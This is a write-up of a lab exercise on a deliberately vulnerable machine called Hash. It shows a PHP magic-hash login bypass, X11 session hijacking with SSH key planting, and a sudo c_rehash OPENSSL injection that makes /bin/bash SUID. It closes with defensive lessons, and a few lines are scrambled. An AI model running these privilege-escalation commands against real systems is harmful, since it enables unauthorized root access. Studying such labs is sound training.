HMV Hash Summary
Scope
- Name: Hash
- Difficulty: (5/10)
- OS: Linux
- IP: hash.hmv(192.168.56.125)
Foothold
The first scan exposed only three TCP services. 22 and 80 were expected, but 3389 suggested
that some kind of desktop session might matter later.
❯ nmap -p- --min-rate 3000 -oN overall hash.hmv PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3389/tcp open ms-wbt-server
When I viewed the page source, the first useful clue was already there.
<!-- Marco, remember to delete the .bak file-->
That comment strongly suggested a forgotten backup file, so I enumerated the web root for common extensions and immediately found it.
❯ gobuster dir -u http://hash.hmv/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -x bak,php,html,txt index.html (Status: 200) [Size: 453] check.bak (Status: 200) [Size: 273] check.php (Status: 200) [Size: 19]
The backup file contained the login logic.
<?php
// Login part.
$pass = $_POST['password'];
//marco please dont use md5, is not secure.
//$passwordhashed = hash('md5', $pass);
$passwordhashed = hash('sha256',$pass);
if ($passwordhashed == '0e0001337') {
//Your code here
}
else{
//Another code here
}
//To finish
?>
This is a classic PHP loose-comparison bug. The application hashes my input with SHA-256, but
then compares the resulting string with 0e0001337 by using loose equality (==). If I can find a password whose
digest also matches the form 0e[0-9]+, both values are coerced to numeric zero and the check
passes.
I tested one of the known SHA-256 magic-hash inputs and it matched the pattern perfectly.
❯ echo -n 34250003024812 | sha256sum 0e46289032038065916139621039085883773413820991920706299695051332 -
check.php to hand back Marco's OpenSSH private key.
Submitting that value to check.php returned Marco's private key, which I used to log in over SSH
as marco.
Privilege Escalation
marco -> maria
Once I had a shell as marco, the open RDP service started to make sense. There was another local
user, and her home directory contained X11 artifacts that should never have been writable by other
users.
marco@hash:~$ grep 'sh$' /etc/passwd root:x:0:0:root:/root:/bin/bash marco:x:1000:1000:marco,,,:/home/marco:/bin/bash maria:x:1001:1001:,,,:/home/maria:/bin/bash marco@hash:~$ ls -al /home/maria/ total 32 drwxr-xr-x 3 maria maria 4096 Feb 5 2021 . drwxr-xr-x 4 root root 4096 Feb 5 2021 .. -rwxr-xr-x 1 maria maria 25 Feb 5 2021 myterm.sh -rwxrwxrwx 1 maria maria 0 Feb 5 2021 .Xauthority marco@hash:~$ cat /home/maria/myterm.sh export DISPLAY=:10 xterm
That combination was enough: maria had an active X11 session on :10, and her .Xauthority
file was world-writable. Instead of trying to crack another password, I hijacked that trust
relationship, planted my own SSH key for persistence, and then switched to a normal login as
maria.
❯ ssh -i id_rsa_maria [email protected] Last login: Tue Apr 7 03:31:24 2026 from 192.168.56.1 maria@hash:~$ sudo -l Matching Defaults entries for maria on hash: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User maria may run the following commands on hash: (ALL : ALL) NOPASSWD: /usr/bin/c_rehash
maria -> root
That sudoers entry looked harmless at first glance, but c_rehash is just a Perl wrapper around
openssl. More importantly, it honors the OPENSSL environment variable, which turns the rule into
root command execution.
c_rehash script trusted OPENSSL from the environmentSo command injection quickly came to my mind.
maria@hash:/tmp$ echo 'chmod +s /bin/bash' > openssl maria@hash:/tmp$ chmod +x openssl maria@hash:/tmp$ export OPENSSL=/tmp/openssl maria@hash:/tmp$ sudo /usr/bin/c_rehash maria@hash:/tmp$ ls -al /bin/bash -rwsr-sr-x 1 root root 1168776 Apr 18 2019 /bin/bash
After the SUID bit landed on /bin/bash, a simple bash -p yielded a root shell immediately.
Takeaways
This box was a clean three-stage chain: a leaked backup file exposed a PHP magic-hash bug, an unsafe
X11 setup let me move from marco to maria, and an environment-sensitive sudo rule finished the
job.
The defensive lessons are straightforward:
- Never use loose comparison for password or digest checks in PHP.
- Treat
.Xauthorityand other desktop-session artifacts as sensitive credentials, not disposable files. - Be extremely careful with
sudoersentries that invoke wrapper scripts or helper binaries whose behavior can be influenced through the environment.
Footnotes:
Strings that look like scientific notation, such as 0e12345, are treated as numeric strings
under PHP loose comparison, which is why so-called magic hashes collapse to zero.
I discovered another intend solution after finished this step by leveraging the CVE-2022-1292.